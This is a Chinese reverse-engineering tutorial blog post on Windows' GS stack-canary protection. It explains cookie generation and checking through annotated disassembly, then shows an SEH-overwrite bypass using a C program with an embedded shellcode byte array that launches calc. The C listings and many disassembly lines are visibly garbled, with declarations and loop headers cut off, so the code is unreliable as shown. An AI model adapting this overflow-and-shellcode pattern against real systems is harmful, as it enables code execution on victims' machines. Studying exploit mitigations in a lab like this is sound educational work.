GS简介:

  Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断canary是否被修改。因为canary的地址是(前栈帧EBP-4),所以如果溢出攻击想要覆盖返回地址或者异常处理句柄的话,就会路过canary。系统检测到canary被修改之后,在函数返回前就会直接终止程序,no return,no exception,so no exploit。

GS原理:

  下面用一个简单的C程序来跟踪一下GS的流程,测试环境为XP SP3+VS2005(DEP OFF,SAFESEH OFF)。

C代码:

#include "stdafx.h"
#include<stdio.h>
#include<string.h>

char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
void overflow();
int main()
{
     overflow();
     printf("fuction returned");
     ;
}

void overflow()
{
     ];
     memcpy(output, name,sizeof(name));
     ;i<&&output[i];i++)
     printf("\\0x%x",output[i]);
}

编译之后,执行直接报错,因为复制字符串时发生了溢出,覆盖了canary,程序直接退出。

用Olldbg打开,如下图:

  系统默认中断在security_init_cookie函数,程序载入内存后这个函数首先运行。下面就是通过OD来查看GS机制的分析部分,分三个步骤:①计算随机种子。②canary写入栈帧。③GS校验。如果觉得看asm比较枯燥的话,就了解一下这三个步骤的大体流程就可以了。

大体流程就是:

  1. 程序启动时,读取.data节的第一个dword。
  2. 以这个dword为基数,通过和当前系统时间,进程ID,线程ID,性能计数器进行一系列加密运算(多次XOR)。
  3. 把加密后的种子再写入.data节的第一个dword。
  4. 函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入“前EBP”的前面(低地址端)。
  5. 函数主体正常执行。
  6. 函数返回前,把canary取出与esp异或计算后,调用__security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过则返回原函数继续执行。如果校验失败,则程序终止。

Asm代码:

①   计算随机种子。

               push    ebp

004016E5  |.  8BEC             mov     ebp, esp

      mov     eax, dword ptr [__security_cookie]  //取exe地址00403000处的第一个DWORD到eax。

 F8        ],   //设置局部变量为0,此处是两个DWORD,作为filetime结构体,后面用来存放获取的系统时间。

 FC        ],   //同上。

               push    ebx  //备份ebx,返回时恢复。

               push    edi  //备份edi,返回时恢复。

004016F9  |.  BF 4EE640BB      mov     edi, BB40E64E  //把00403000处的第一个dword,也就是.DATA节的第一个双字赋值给edi。

004016FE  |.  3BC7             cmp     eax, edi  //判断eax和edi是否相等。

  |.  BB 0000FFFF      mov     ebx, FFFF0000  //ebx赋值为FFFF0000。

  |.     //如果eax和edi相等则跳转。

  |.  85C3             test    ebx, eax

  |.               

0040170B  |.  F7D0             not     eax

      mov     dword ptr [__security_cookie_complement], eax

  |.  EB             

  |>                 push    esi  //备份esi,返回时用来恢复。

  |.  8D45 F8          ]  //取得filetime结构体地址。

  |.                 push    eax                                               ;   //pFileTime入栈。

  |.  FF15     call    dword ptr [<&KERNEL32.GetSystemTimeAsFileTime>]   ;   //调用GetSystemTimeAsFileTime获取系统时间,放入ebp-12至ebp-4共8个字节。

]  //取得系统时间的高4字节。

  |.   F8          ]  //系统时间高4字节与低4字节进行异或,结果存入esi。

  |.  FF15     call    dword ptr [<&KERNEL32.GetCurrentProcessId>]  //调用GetCurrentProcessId取得当前进行ID,存入eax。

0040172B  |.  33F0             xor     esi, eax  //进程ID和前面的esi进行异或,结果存入esi。

    call    dword ptr [<&KERNEL32.GetCurrentThreadId>]        ; //获取当前线程ID,存入eax。

  |.  33F0             xor     esi, eax  //线程ID和前面的esi进行异或,结果存入esi。

  |.  FF15     call    dword ptr [<&KERNEL32.GetTickCount>]  //获取系统启动至今的微秒数,存入eax。

0040173B  |.  33F0             xor     esi, eax  //系统启动至今微秒数和前面的esi进行异或,结果存入esi。

]  //准备pPerformanceCount函数的参数,一个large_integer类型的结构体指针,结构体8个字节。

  |.                 push    eax  // lpPerformanceCount参数入栈。

  |.  FF15 0C204000    call    dword ptr [<&KERNEL32.QueryPerformanceCounter>]  //调用性能计数器,其实还是个高精度时间戳。

  |.  8B45 F4          mov     eax, dword ptr [ebp-C]  //把时间戳高4位赋给eax。

 F0          ]  //把时间戳高4位和低4位进行异或,结果存入eax。和前面GetSystemTimeAsFileTime算法一样。

0040174D  |.  33F0             xor     esi, eax  //时间戳异或结果和esi进行异或计算,结果存入esi。

0040174F  |.  3BF7             cmp     esi, edi  //比较esi和edi是否相同,防止出现碰撞。

  |.               jnz     short 0040175A  //不相等的话,跳转。

  |.  BE 4FE640BB      mov     esi, BB40E64F  //相等的话,

  |.  EB 

0040175A  |>  85F3             test    ebx, esi  //比较esi和ebx是否相同。

               //不相同的话,加密结束,写入。

0040175E  |.  8BC6             mov     eax, esi

  |.  C1E0           

  |.  0BF0             or      esi, eax

  |>       mov     dword ptr [__security_cookie], esi  //把加密后的canary放入.data区首的4个字节。

0040176B  |.  F7D6             not     esi  //密文取反。

     mov     dword ptr [__security_cookie_complement], esi  //密文取反写入.data取的第5到第8个字节,紧挨着canary。

  |.  5E               pop     esi  //恢复环境。

  |>  5F               pop     edi  //恢复环境。

  |.  5B               pop     ebx  //恢复环境。

  |.  C9               leave  //恢复环境。与Mov esp,ebp+pop ebp等效。

  \.  C3               retn  //函数返回。

②   Canary写入栈帧:

 >/$  83EC 0C          sub     esp, 0C  //函数开头,开辟栈空间。

  |.  A1       mov     eax, dword ptr [__security_cookie]  //把加密后的种子赋给eax。

  |.  33C4             xor     eax, esp  //eax和当前esp进行异或计算。

         ], eax  //把异或后得到的canary写入栈帧。

③   GS校验:

        ]  //把canary赋给ecx。

  |.  33CC             xor     ecx, esp  //ecx和esp异或。

    cmp     ecx, dword ptr [__security_cookie]  //比较ecx和.data区的加密种子是否相同。

   .                 //不相同则校验失败,跳转失败处理分支。

   .  F3:              prefix rep:  //相同则返回原函数。

   .  C3               retn  //相同则返回原函数。

   >  E9 AD020000      jmp     __report_gsfailure  //跳入失败处理分支,主要功能是调用UnhandledExceptionFilte,显示个程序崩溃的框框,如果不选择调试,则调用TerminateProcess结束当前进程。

GS绕过:

  了解GS的保护原理之后,绕过方法就水到渠成了。既然你GS在我函数返回前就给我来个突然杀出,那我就在你GS校验函数执行之前给你来个突然杀出。如果函数在执行时,发生异常,则操作系统(NTDLL.DLL)会直接接管,然后进入异常处理过程。这样GS校验函数就没有了执行的机会。

  其实不只是覆盖SEH这一种绕过方法,只要想办法在函数的security_check_cookie函数执行之前,获取EIP控制权都可以绕过,比如在函数溢出之后且函数返回之前,调用了某些函数指针,如果在溢出的时候覆盖掉这个指针,就可以绕过GS。当然还有同时覆盖.data区和canary来使security_check_cookie验证通过,不过遇到这种漏洞的概率太小了。

下面我们改一下我们的C程序,让溢出的字符串继续往下溢出,直到溢出SEH structure,并且溢出到栈顶,这样就会触发一个访问异常,于是就进入了异常处理过程,从而悄无声息的绕过了GS保护机制。(关于覆盖SEH进行溢出利用的方法请参见我的另一篇博文)。

C代码:

// GSBYPASS.cpp : 定义控制台应用程序的入口点。

#include "stdafx.h"
#include<stdio.h>
#include<string.h>

char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xEB,0x06,0x90,0x90,0x10,0x12,0x40,0x00,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};

void overflow();

int main()
{
     overflow();
     printf("fuction returned");
     ;
}

void overflow()
{
     ];
     memcpy(output, name,sizeof(name));
     ;i<&&output[i];i++)
     printf("\\0x%x",output[i]);
}

编译,运行,成功绕过:

逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试的更多相关文章

  1. gcc栈溢出保护机制:stack-protector

    关键词:stack-protector.stack-protector-strong.stack-protector-all等等. 1. gcc栈保护机制stack-protector简介 gcc提供 ...

  2. SonarQube学习(四)- 使用Jenkins集成JaCoCo和SonarQube检查代码测试覆盖率

    一.前言 我始终觉得学习这件事是自己的事,自己会了就是会了,无关于他人,但有点小伤感的是现在的阅读量开始走低. 二.准备 安装Jenkins,请移步<Docker学习(二)- Docker 安装 ...

  3. Python爬虫学习:四、headers和data的获取

    之前在学习爬虫时,偶尔会遇到一些问题是有些网站需要登录后才能爬取内容,有的网站会识别是否是由浏览器发出的请求. 一.headers的获取 就以博客园的首页为例:http://www.cnblogs.c ...

  4. java之jvm学习笔记四(安全管理器)

    java之jvm学习笔记四(安全管理器) 前面已经简述了java的安全模型的两个组成部分(类装载器,class文件校验器),接下来学习的是java安全模型的另外一个重要组成部分安全管理器. 安全管理器 ...

  5. Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置

    Java Web学习(四)Eclipse与Maven整合配置 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6.3) 二. ...

  6. Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置 (重整版并解决问题)

    Java Web学习(四)Eclipse与Maven整合配置 (重整版) 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6 ...

  7. 【数据库】3.0 MySQL入门学习(三)——Windows系统环境下MySQL安装

    1.0 我的操作系统是window10 专业版 64位.,不过至少windows7以上系统都是一样的. 关于MySQL如何下载,请参考博文: [数据库]2.0 如何获得MySQL以及MySQL安装 h ...

  8. SODBASE CEP学习(四)续:类SQL语言EPL与Storm或jStorm集成-使用分布式缓存

    流式计算在一些情况下会用到分布式缓存,从而实现(1)想把统计或计算结果保存在分布缓存中.供其他模块或其他系统调用. (2)某一滑动时间窗体上计数.比如实时统计1小时每一个Cookie的訪问量.实时统计 ...

  9. kvm虚拟化学习笔记(四)之kvm虚拟机日常管理与配置

    KVM虚拟化学习笔记系列文章列表----------------------------------------kvm虚拟化学习笔记(一)之kvm虚拟化环境安装http://koumm.blog.51 ...

随机推荐

  1. .a静态库构架合成

    一.如果类库生成的构架和对应设备的构架不一致,会链接报错 如果项目中使用类库后,遇到形似Undefined symbols for architecture x86_64(x86_64架构下有未定义的 ...

  2. FrozenUI - 专注于移动web的UI框架

    http://frozenui.github.io/ 移动框架 重磅出击 简单易用,轻量快捷,为移动端服务的前端框架 开始使用 立即下载

  3. linux 安装mysql数据库——tar.gz包解压安装法

    mysql数据库有多种安装方式,本文只介绍在Linux服务器上的tar.gz包解压安装法, 先通过mysql官网或者网络资源下载 mysql-5.7.3-m13-linux-glibc2.5-x86_ ...

  4. zabbix完整安装

    一.nginx安装 1.必要软件准备: 为了支持rewrite功能,我们需要安装pcre: yum install pcre-* 需要ssl的支持,如果不需要ssl支持,请跳过这一步: yum ins ...

  5. 用nginx一分钟实现文件服务器

    在局域网内和同事共享文件的好方法 1 安装nginx sudo apt-get install nginx 2 创建conf文件 sudo gedit /etc/nginx/conf.d/file_s ...

  6. ubuntu下修改键位

    尴尬的背景: 服役5年的笔记本,最近键盘失灵,部分键位彻底失去响应.最蛋疼的是左右方向键都不能用了 ○| ̄|_ 解决方案是,通过xmodmap命令,用其他相对鸡肋些的键位替代方向键. 1 查看各个键位 ...

  7. Bluemix中国版体验(一)

    很高兴终于拿到了中国版Bluemix的账号!中国版的Bluemix是由世纪互联运营的,这也是世纪互联继Microsoft Azure,Office 365之后运营的又一个国际一线大品牌的云服务. 中国 ...

  8. 安全测试 - 抓包工具BurpSuite

    Brup SuiteBurpSuite是用于攻击web应用程序的集成平台.它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程.所有的工具都共享一个能处理并显示HTTP消息,持久 ...

  9. Git开发分支管理

    远程仓库有master和dev分支的情况 1. 克隆代码 git clone https://somewhere.com/master-dev.git 2. 查看所有分支 git branch --a ...

  10. dubbox 增加google-gprc/protobuf支持

    好久没写东西了,今年实在太忙,基本都在搞业务开发,晚上来补一篇,作为今年的收官博客.google-rpc 正式发布以来,受到了不少人的关注,这么知名的rpc框架,不集成到dubbox中有点说不过去. ...